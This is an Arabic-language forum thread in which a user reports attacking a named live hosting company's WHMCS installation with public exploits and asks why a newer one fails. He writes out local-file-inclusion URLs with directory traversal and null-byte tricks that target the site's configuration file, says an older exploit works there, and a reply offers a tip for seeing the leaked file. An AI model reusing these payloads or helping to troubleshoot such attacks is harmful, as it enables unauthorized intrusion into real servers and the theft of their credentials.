استفسار بشأن ثغرة ال whmcs الجديدة

[dr_otot]

سلام عليكم شباب , كل عام و انتم بخير

استفسار بشان ثغرة ال WHMCS الجديدة

http://www.1337day.com/exploits/17187


عند تطبيقها علي احد السيرفرات المستخدمة سكريبت WHMCS

السيرفر عنوانه

https://manage.hostingfest.com/whmcs


بعد التطبيق


http://manage.hostingfest.com/whmcs/...%2Fboot.ini%00


مفيش اي بيانات للكونفيج بتظهر

مع العلم بان الثغرة القديمة

http://www.exploit-db.com/exploits/17999/


شغاله زي الفل

http://manage.hostingfest.c
om/whmcs/cart.php?a=test&templatefile=..%2F..%2F..%2Fconfig uration.php%00



بصراحة انا شكيت في الاستغلال فغيرت فيه و خليته كده

http://manage.hostingfest.com/whmcs/...uration.php%00


و برضه مش شغال

ارجو الافادة بشان الاستغلال الصحيح و شكرا

[عاشق دزاين]

اذا بظهر للك لمن تفتح ملف الكونفقريشن صفحه بيضاء شوف السورس بتاع الصفحه بواسطه الاكسبلورر .. هذا علي حسب علمي ..
تقبل مروري

[Sn4Ke'z]

وفقك الله اخي